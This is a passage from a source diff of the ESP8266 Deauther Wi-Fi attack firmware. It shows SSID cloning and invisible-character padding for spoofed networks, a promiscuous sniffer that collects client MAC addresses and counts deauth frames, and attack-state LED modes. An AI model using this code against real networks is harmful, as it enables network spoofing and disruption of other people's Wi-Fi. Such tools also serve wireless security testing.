sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
prnt(String(s));
}
}
// customize color codes for different LED modes
void RGBLed::setMode(uint8_t mode, bool force) {
// ===== adjustable ===== //
if (mode != RGBLed::mode || force) {
RGBLed::mode = mode;
switch (mode) {
case LED_MODE_OFF:
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_SCAN:
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_ATTACK:
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_DEAUTH:
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_IDLE:
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
}
}
// ====================== //
}
void RGBLed::tempEnable() {
tempEnabled = true;
prntln(L_ENABLED);
}
void RGBLed::tempDisable() {
tempEnabled = false;
prntln(L_DISABLED);
}
bool RGBLed::getTempEnabled() {
return tempEnabled;
}
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
setColor(r, g, b, 100, true);
}
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
setColor(r, g, b, brightness, true);
}
void RGBLed::update() {
if (!tempEnabled) return;
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
else setMode(LED_MODE_IDLE, false);
}

View File

@ -1,46 +0,0 @@
#ifndef RGBLed_h
#define RGBLed_h
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "A_config.h"
#include "Settings.h"
#include "Attack.h"
#include "Scan.h"
#define LED_MODE_OFF 0
#define LED_MODE_SCAN 1
#define LED_MODE_ATTACK 2
#define LED_MODE_DEAUTH 3
#define LED_MODE_IDLE 4
extern Settings settings;
extern Attack attack;
extern Scan scan;
extern Stations stations;
class RGBLed {
public:
RGBLed();
void setup();
void setColor(uint8_t r, uint8_t g, uint8_t b);
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
void setMode(uint8_t mode, bool force);
void update();
void tempEnable();
void tempDisable();
bool getTempEnabled();
private:
uint8_t mode;
bool tempEnabled = true;
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
};
#endif

View File

@ -1,310 +1,322 @@
#include "SSIDs.h"
SSIDs::SSIDs() {
list = new SimpleList<SSID>;
}
void SSIDs::load() {
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
JsonObject &obj = parseJSONFile(FILE_PATH, jsonBuffer);
JsonArray &arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
JsonArray &tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
}
prnt(SS_LOADED);
prntln(FILE_PATH);
}
void SSIDs::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void SSIDs::removeAll() {
internal_removeAll();
prntln(SS_CLEARED);
changed = true;
}
void SSIDs::save(bool force) {
if (!force && !changed) return;
String buf = String(); // create buffer
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // "ssids":[
if (!writeFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
String name;
int c = count();
for (int i = 0; i < c; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
buf += b2s(getWPA2(i)) + String(COMMA); // false,
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
if(i < c-1) buf += COMMA; // ,
if(buf.length() >= 1024){
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(SS_SAVED_IN);
prntln(FILE_PATH);
changed = false;
}
void SSIDs::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void SSIDs::update() {
if (randomMode) {
if (currentTime - randomTime > randomInterval*1000) {
prntln(SS_RANDOM_INFO);
for (int i = 0; i < SSID_LIST_SIZE; i++) {
SSID newSSID;
if (check(i))
newSSID = list->get(i);
newSSID.name = String();
newSSID.len = 32;
for (int i = 0; i < 32; i++)
newSSID.name += char(random(32, 127));
newSSID.wpa2 = random(0, 2);
if (check(i))
list->replace(i, newSSID);
else
list->add(newSSID);
}
randomTime = currentTime;
changed = true;
}
}
}
String SSIDs::getName(int num) {
return check(num) ? list->get(num).name : String();
}
bool SSIDs::getWPA2(int num) {
return check(num) ? list->get(num).wpa2 : false;
}
int SSIDs::getLen(int num){
return check(num) ? list->get(num).len : 0;
}
void SSIDs::setWPA2(int num, bool wpa2) {
SSID newSSID = list->get(num);
newSSID.wpa2 = wpa2;
list->replace(num, newSSID);
}
String SSIDs::getEncStr(int num) {
if (getWPA2(num)) return "WPA2";
else return "-";
}
void SSIDs::remove(int num) {
if (!check(num)) return;
internal_remove(num);
prnt(SS_REMOVED);
prntln(getName(num));
changed = true;
}
String SSIDs::randomize(String name) {
int ssidlen = name.length();
if (ssidlen > 32) name = name.substring(0, 32);
if (ssidlen < 32) {
for (int i = ssidlen; i < 32; i++) {
int rnd = random(3);
if (i < 29 && rnd == 0) { // ZERO WIDTH SPACE
name += char(0xE2);
name += char(0x80);
name += char(0x8B);
i += 2;
} else if (i < 30 && rnd == 1) { // NO-BREAK SPACE
name += char(0xC2);
name += char(0xA0);
i += 1;
} else {
name += char(0x20); // SPACE
}
}
}
return name;
}
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
if (list->size() >= SSID_LIST_SIZE) {
if (force) {
internal_remove(0);
} else {
prntln(SS_ERROR_FULL);
return;
}
}
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
for (int i = 0; i < clones; i++) {
internal_add(name, wpa2, name.length());
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
}
prnt(SS_ADDED);
prntln(name);
changed = true;
}
void SSIDs::cloneSelected(bool force){
if(accesspoints.selected() > 0){
int clones = SSID_LIST_SIZE;
if(!force) clones -= list->size();
clones /= accesspoints.selected();
int apCount = accesspoints.count();
for(int i=0;i<apCount;i++){
if(accesspoints.getSelected(i))
add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
}
}
}
bool SSIDs::getRandom(){
return randomMode;
}
void SSIDs::replace(int num, String name, bool wpa2){
if(!check(num)) return;
int len = name.length();
if(len > 32)
len = 32;
SSID newSSID;
newSSID.name = randomize(name);
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->replace(num,newSSID);
prnt(SS_REPLACED);
prntln(name);
changed = true;
}
void SSIDs::print(int num) {
print(num, true, false);
}
void SSIDs::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(SS_TABLE_HEADER);
prntln(SS_TABLE_DIVIDER);
}
prnt(buildString(String(), (String)num, 2));
prnt(buildString(String(SPACE), getEncStr(num), 5));
prntln(buildString(String(SPACE) + getName(num), String(), 33));
if (footer) prntln(SS_TABLE_DIVIDER);
}
void SSIDs::printAll() {
prntln(SS_HEADER);
int c = count();
if (c == 0)
prntln(SS_ERROR_EMPTY);
else
for (int i = 0; i < c; i++)
print(i, i == 0, i == c - 1);
}
int SSIDs::count() {
return list->size();
}
bool SSIDs::check(int num) {
return num >= 0 && num < count();
}
void SSIDs::enableRandom(uint32_t randomInterval) {
randomMode = true;
SSIDs::randomInterval = randomInterval;
prntln(SS_RANDOM_ENABLED);
update();
}
void SSIDs::disableRandom() {
randomMode = false;
internal_removeAll();
prntln(SS_RANDOM_DISABLED);
}
void SSIDs::internal_add(String name, bool wpa2, int len) {
if(len > 32) {
name = name.substring(0,32);
len = 32;
} else if (len < 32) {
name = randomize(name);
}
name = fixUtf8(name);
SSID newSSID;
newSSID.name = name;
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->add(newSSID);
}
void SSIDs::internal_remove(int num) {
list->remove(num);
}
void SSIDs::internal_removeAll() {
list->clear();
}
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "SSIDs.h"
#include <LittleFS.h>
#include "settings.h"
SSIDs::SSIDs() {
list = new SimpleList<SSID>;
}
void SSIDs::load() {
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
JsonArray& tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
}
prnt(SS_LOADED);
prntln(FILE_PATH);
}
void SSIDs::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void SSIDs::removeAll() {
internal_removeAll();
prntln(SS_CLEARED);
changed = true;
}
void SSIDs::save(bool force) {
if (!force && !changed) return;
String buf = String(); // create buffer
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
String(OPEN_BRACKET); // "ssids":[
if (!writeFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
String name;
int c = count();
for (int i = 0; i < c; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
buf += b2s(getWPA2(i)) + String(COMMA); // false,
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
if (i < c - 1) buf += COMMA; // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(SS_SAVED_IN);
prntln(FILE_PATH);
changed = false;
}
void SSIDs::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void SSIDs::update() {
if (randomMode) {
if (currentTime - randomTime > randomInterval * 1000) {
prntln(SS_RANDOM_INFO);
for (int i = 0; i < SSID_LIST_SIZE; i++) {
SSID newSSID;
if (check(i)) newSSID = list->get(i);
newSSID.name = String();
newSSID.len = 32;
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
newSSID.wpa2 = random(0, 2);
if (check(i)) list->replace(i, newSSID);
else list->add(newSSID);
}
randomTime = currentTime;
changed = true;
}
}
}
String SSIDs::getName(int num) {
return check(num) ? list->get(num).name : String();
}
bool SSIDs::getWPA2(int num) {
return check(num) ? list->get(num).wpa2 : false;
}
int SSIDs::getLen(int num) {
return check(num) ? list->get(num).len : 0;
}
void SSIDs::setWPA2(int num, bool wpa2) {
SSID newSSID = list->get(num);
newSSID.wpa2 = wpa2;
list->replace(num, newSSID);
}
String SSIDs::getEncStr(int num) {
if (getWPA2(num)) return "WPA2";
else return "-";
}
void SSIDs::remove(int num) {
if (!check(num)) return;
internal_remove(num);
prnt(SS_REMOVED);
prntln(getName(num));
changed = true;
}
String SSIDs::randomize(String name) {
int ssidlen = name.length();
if (ssidlen > 32) name = name.substring(0, 32);
if (ssidlen < 32) {
for (int i = ssidlen; i < 32; i++) {
int rnd = random(3);
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
name += char(0xE2);
name += char(0x80);
name += char(0x8B);
i += 2;
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
name += char(0xC2);
name += char(0xA0);
i += 1;
} else {
name += char(0x20); // SPACE
}
}
}
return name;
}
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
if (list->size() >= SSID_LIST_SIZE) {
if (force) {
internal_remove(0);
} else {
prntln(SS_ERROR_FULL);
return;
}
}
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
for (int i = 0; i < clones; i++) {
internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
}
prnt(SS_ADDED);
prntln(name);
changed = true;
}
void SSIDs::cloneSelected(bool force) {
if (accesspoints.selected() > 0) {
int clones = SSID_LIST_SIZE;
if (!force) clones -= list->size();
clones /= accesspoints.selected();
int apCount = accesspoints.count();
for (int i = 0; i < apCount; i++) {
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
}
}
}
bool SSIDs::getRandom() {
return randomMode;
}
void SSIDs::replace(int num, String name, bool wpa2) {
if (!check(num)) return;
int len = name.length();
if (len > 32) len = 32;
SSID newSSID;
newSSID.name = randomize(name);
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->replace(num, newSSID);
prnt(SS_REPLACED);
prntln(name);
changed = true;
}
void SSIDs::print(int num) {
print(num, true, false);
}
void SSIDs::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(SS_TABLE_HEADER);
prntln(SS_TABLE_DIVIDER);
}
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE), getEncStr(num), 5));
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
if (footer) prntln(SS_TABLE_DIVIDER);
}
void SSIDs::printAll() {
prntln(SS_HEADER);
int c = count();
if (c == 0) prntln(SS_ERROR_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
int SSIDs::count() {
return list->size();
}
bool SSIDs::check(int num) {
return num >= 0 && num < count();
}
void SSIDs::enableRandom(uint32_t randomInterval) {
randomMode = true;
SSIDs::randomInterval = randomInterval;
prntln(SS_RANDOM_ENABLED);
update();
}
void SSIDs::disableRandom() {
randomMode = false;
internal_removeAll();
prntln(SS_RANDOM_DISABLED);
}
void SSIDs::internal_add(String name, bool wpa2, int len) {
if (len > 32) {
name = name.substring(0, 32);
len = 32;
}
name = fixUtf8(name);
SSID newSSID;
newSSID.name = name;
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->add(newSSID);
}
void SSIDs::internal_remove(int num) {
list->remove(num);
}
void SSIDs::internal_removeAll() {
list->clear();
}

View File

@ -1,89 +1,84 @@
#ifndef SSIDs_h
#define SSIDs_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
#include <FS.h>
extern "C" {
#include "user_interface.h"
}
#include <ArduinoJson.h>
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
#include "language.h"
#include "SimpleList.h"
#include "Settings.h"
#include "Accesspoints.h"
#define SSID_LIST_SIZE 60
extern Settings settings;
extern uint32_t currentTime;
extern Accesspoints accesspoints;
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
extern bool appendFile(String path, String &buf);
extern bool writeFile(String path, String &buf);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
extern bool appendFile(String path, String& buf);
extern bool writeFile(String path, String& buf);
extern void readFileToSerial(String path);
extern String fixUtf8(String str);
extern String buildString(String left, String right, int maxLen);
extern String leftRight(String a, String b, int len);
extern String escape(String str);
class SSIDs {
public:
SSIDs();
void load();
void load(String filepath);
void save(bool force);
void save(bool force, String filepath);
void update();
public:
SSIDs();
void print(int num);
void print(int num, bool header, bool footer);
void add(String name, bool wpa2, int clones, bool force);
void cloneSelected(bool force);
void remove(int num);
void enableRandom(uint32_t randomInterval);
void disableRandom();
bool getRandom();
String getName(int num);
bool getWPA2(int num);
String getEncStr(int num);
int getLen(int num);
void load();
void load(String filepath);
void save(bool force);
void save(bool force, String filepath);
void update();
void setWPA2(int num, bool wpa2);
void replace(int num, String name, bool wpa2);
void printAll();
void removeAll();
int count();
private:
bool changed = false;
bool randomMode = false;
uint32_t randomInterval = 2000;
uint32_t randomTime = 0;
struct SSID{
String name; // SSID
bool wpa2; // WPA2 encrypted or not
uint8_t len; // original length (before editing it to be 32 characters)
};
String FILE_PATH = "/ssids.json";
SimpleList<SSID>* list;
void print(int num);
void print(int num, bool header, bool footer);
void add(String name, bool wpa2, int clones, bool force);
void cloneSelected(bool force);
void remove(int num);
void enableRandom(uint32_t randomInterval);
void disableRandom();
bool getRandom();
bool check(int num);
String randomize(String name);
String getName(int num);
bool getWPA2(int num);
String getEncStr(int num);
int getLen(int num);
void internal_add(String name, bool wpa2, int add);
void internal_remove(int num);
void internal_removeAll();
};
void setWPA2(int num, bool wpa2);
void replace(int num, String name, bool wpa2);
#endif
void printAll();
void removeAll();
int count();
private:
bool changed = false;
bool randomMode = false;
uint32_t randomInterval = 2000;
uint32_t randomTime = 0;
struct SSID {
String name; // SSID
bool wpa2; // WPA2 encrypted or not
uint8_t len; // original length (before editing it to be 32 characters)
};
String FILE_PATH = "/ssids.json";
SimpleList<SSID>* list;
bool check(int num);
String randomize(String name);
void internal_add(String name, bool wpa2, int add);
void internal_remove(int num);
void internal_removeAll();
};

View File

@ -1,398 +1,453 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Scan.h"
#include "settings.h"
#include "wifi.h"
Scan::Scan() {
list = new SimpleList<uint16_t>;
list = new SimpleList<uint16_t>;
}
void Scan::sniffer(uint8_t* buf, uint16_t len) {
if (!isSniffing()) return;
if (!isSniffing()) return;
packets++;
if (len < 28) return; // drop frames that are too short to have a valid MAC header
packets++;
if (buf[12] == 0xc0 || buf[12] == 0xa0) {
tmpDeauths++;
return;
}
// drop beacon frames, probe requests/responses and deauth/disassociation frames
if (buf[12] == 0x80 || buf[12] == 0x40 || buf[12] == 0x50/* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
if (len < 28) return; // drop frames that are too short to have a valid MAC header
// only allow data frames
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
uint8_t* macTo = &buf[16];
uint8_t* macFrom = &buf[22];
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || macMulticast(macFrom)) return;
int accesspointNum = findAccesspoint(macFrom);
if (accesspointNum >= 0) {
stations.add(macTo, accesspoints.getID(accesspointNum));
} else {
accesspointNum = findAccesspoint(macTo);
if (accesspointNum >= 0) {
stations.add(macFrom, accesspoints.getID(accesspointNum));
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
tmpDeauths++;
return;
}
// drop beacon frames, probe requests/responses and deauth/disassociation frames
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
// only allow data frames
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
uint8_t* macTo = &buf[16];
uint8_t* macFrom = &buf[22];
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
macMulticast(macFrom)) return;
int accesspointNum = findAccesspoint(macFrom);
if (accesspointNum >= 0) {
stations.add(macTo, accesspoints.getID(accesspointNum));
} else {
accesspointNum = findAccesspoint(macTo);
if (accesspointNum >= 0) {
stations.add(macFrom, accesspoints.getID(accesspointNum));
}
}
}
}
int Scan::findAccesspoint(uint8_t* mac) {
for (int i = 0; i < accesspoints.count(); i++) {
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
}
return -1;
for (int i = 0; i < accesspoints.count(); i++) {
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
}
return -1;
}
void Scan::start(uint8_t mode) {
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
}
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel) {
if(mode != SCAN_MODE_OFF) stop();
setWifiChannel(channel);
Scan::continueStartTime = currentTime;
Scan::snifferPacketTime = continueStartTime;
Scan::snifferOutputTime = continueStartTime;
Scan::continueTime = continueTime;
Scan::sniffTime = time;
Scan::channelHop = channelHop;
Scan::scanMode = mode;
Scan::scan_continue_mode = nextmode;
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
uint8_t channel) {
if (mode != SCAN_MODE_OFF) stop();
if(sniffTime > 0 && sniffTime < 1000) sniffTime = 1000;
setWifiChannel(channel, true);
Scan::continueStartTime = currentTime;
Scan::snifferPacketTime = continueStartTime;
Scan::snifferOutputTime = continueStartTime;
Scan::continueTime = continueTime;
Scan::sniffTime = time;
Scan::channelHop = channelHop;
Scan::scanMode = mode;
Scan::scan_continue_mode = nextmode;
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, time, scan_continue_mode, continueTime, channelHop, channel);
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
/* AP Scan */
if (mode == SCAN_MODE_APS || mode == SCAN_MODE_ALL) {
// remove old results
accesspoints.removeAll();
stations.removeAll();
// start AP scan
prntln(SC_START_AP);
WiFi.scanNetworks(true, true);
}
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
// time, scan_continue_mode, continueTime, channelHop, channel);
/* Station Scan */
else if (mode == SCAN_MODE_STATIONS) {
// start station scan
if (accesspoints.count() < 1) {
start(SCAN_MODE_ALL);
//Serial.println(str(SC_ERROR_NO_AP));
return;
/* AP Scan */
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
// remove old results
accesspoints.removeAll();
stations.removeAll();
// start AP scan
prntln(SC_START_AP);
WiFi.scanNetworks(true, true);
}
snifferStartTime = currentTime;
prnt(SC_START_CLIENT);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
if(!channelHop){
prnt(SC_ON_CHANNEL);
prnt(wifi_channel);
/* Station Scan */
else if (mode == SCAN_MODE_STATIONS) {
// start station scan
if (accesspoints.count() < 1) {
start(SCAN_MODE_ALL);
// Serial.println(str(SC_ERROR_NO_AP));
return;
}
snifferStartTime = currentTime;
prnt(SC_START_CLIENT);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
if (!channelHop) {
prnt(SC_ON_CHANNEL);
prnt(wifi_channel);
}
prntln();
// enable sniffer
wifi::stopAP();
wifi_promiscuous_enable(true);
}
prntln();
// enable sniffer
stopAP();
wifi_promiscuous_enable(true);
}
else if (mode == SCAN_MODE_SNIFFER) {
deauths = tmpDeauths;
tmpDeauths = 0;
snifferStartTime = currentTime;
prnt(SS_START_SNIFFER);
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
prnt(SC_ON_CHANNEL);
prntln(channelHop ? str(SC_ONE_TO) +(String)settings.getMaxCh() : (String)wifi_channel);
else if (mode == SCAN_MODE_SNIFFER) {
deauths = tmpDeauths;
tmpDeauths = 0;
snifferStartTime = currentTime;
prnt(SS_START_SNIFFER);
// enable sniffer
stopAP();
wifi_promiscuous_enable(true);
}
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
else prnt(SC_INFINITELY);
prnt(SC_ON_CHANNEL);
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
/* Stop scan */
else if (mode == SCAN_MODE_OFF) {
wifi_promiscuous_enable(false);
if(settings.getWebInterface()) resumeAP();
prntln(SC_STOPPED);
save(true);
if (scan_continue_mode != SCAN_MODE_OFF) {
prnt(SC_RESTART);
prnt(int(continueTime / 1000));
prntln(SC_CONTINUE);
// enable sniffer
wifi::stopAP();
wifi_promiscuous_enable(true);
}
}
/* ERROR */
else {
prnt(SC_ERROR_MODE);
prntln(mode);
return;
}
/* Stop scan */
else if (mode == SCAN_MODE_OFF) {
wifi_promiscuous_enable(false);
if (settings::getWebSettings().enabled) wifi::resumeAP();
prntln(SC_STOPPED);
save(true);
if (scan_continue_mode != SCAN_MODE_OFF) {
prnt(SC_RESTART);
prnt(int(continueTime / 1000));
prntln(SC_CONTINUE);
}
}
/* ERROR */
else {
prnt(SC_ERROR_MODE);
prntln(mode);
return;
}
}
void Scan::update() {
if (scanMode == SCAN_MODE_OFF) {
// restart scan if it is continuous
if (scan_continue_mode != SCAN_MODE_OFF) {
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
}
return;
}
// sniffer
if(isSniffing()){
// update packet list every 1s
if(currentTime - snifferPacketTime > 1000){
snifferPacketTime = currentTime;
list->add(packets);
if(list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
deauths = tmpDeauths;
tmpDeauths = 0;
packets = 0;
if (scanMode == SCAN_MODE_OFF) {
// restart scan if it is continuous
if (scan_continue_mode != SCAN_MODE_OFF) {
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
}
return;
}
// print status every 3s
if (currentTime - snifferOutputTime > 3000) {
char s[100];
if(sniffTime > 0){
sprintf(s,str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
} else{
sprintf(s,str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
}
prnt(String(s));
snifferOutputTime = currentTime;
// sniffer
if (isSniffing()) {
// update packet list every 1s
if (currentTime - snifferPacketTime > 1000) {
snifferPacketTime = currentTime;
list->add(packets);
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
deauths = tmpDeauths;
tmpDeauths = 0;
packets = 0;
}
// print status every 3s
if (currentTime - snifferOutputTime > 3000) {
char s[100];
if (sniffTime > 0) {
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
} else {
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
}
prnt(String(s));
snifferOutputTime = currentTime;
}
// channel hopping
if (channelHop && (currentTime - snifferChannelTime > settings::getSnifferSettings().channel_time)) {
snifferChannelTime = currentTime;
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
else setChannel(wifi_channel + 1); // go to next channel
}
}
// channel hopping
if(channelHop && currentTime - snifferChannelTime > settings.getChTime()) {
snifferChannelTime = currentTime;
if(scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
else setChannel(wifi_channel + 1); // go to next channel
}
}
// APs
if (scanMode == SCAN_MODE_APS || scanMode == SCAN_MODE_ALL) {
int16_t results = WiFi.scanComplete();
if (results >= 0) {
for (int16_t i = 0; i < results && i < 256; i++) {
if(channelHop || WiFi.channel(i) == wifi_channel) accesspoints.add(i, false);
}
accesspoints.sort();
accesspoints.printAll();
if (scanMode == SCAN_MODE_ALL){
delay(30);
start(SCAN_MODE_STATIONS);
}
else start(SCAN_MODE_OFF);
}
}
// APs
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
int16_t results = WiFi.scanComplete();
// Stations
else if (sniffTime > 0 && currentTime > snifferStartTime + sniffTime) {
wifi_promiscuous_enable(false);
if(scanMode == SCAN_MODE_STATIONS){
stations.sort();
stations.printAll();
if (results >= 0) {
for (int16_t i = 0; i < results && i < 256; i++) {
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
}
accesspoints.sort();
accesspoints.printAll();
if (scanMode == SCAN_MODE_ALL) {
delay(30);
start(SCAN_MODE_STATIONS);
}
else start(SCAN_MODE_OFF);
}
}
// Stations
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
wifi_promiscuous_enable(false);
if (scanMode == SCAN_MODE_STATIONS) {
stations.sort();
stations.printAll();
}
start(SCAN_MODE_OFF);
}
start(SCAN_MODE_OFF);
}
}
void Scan::setup(){
save(true);
void Scan::setup() {
save(true);
}
void Scan::stop() {
scan_continue_mode = SCAN_MODE_OFF;
start(SCAN_MODE_OFF);
scan_continue_mode = SCAN_MODE_OFF;
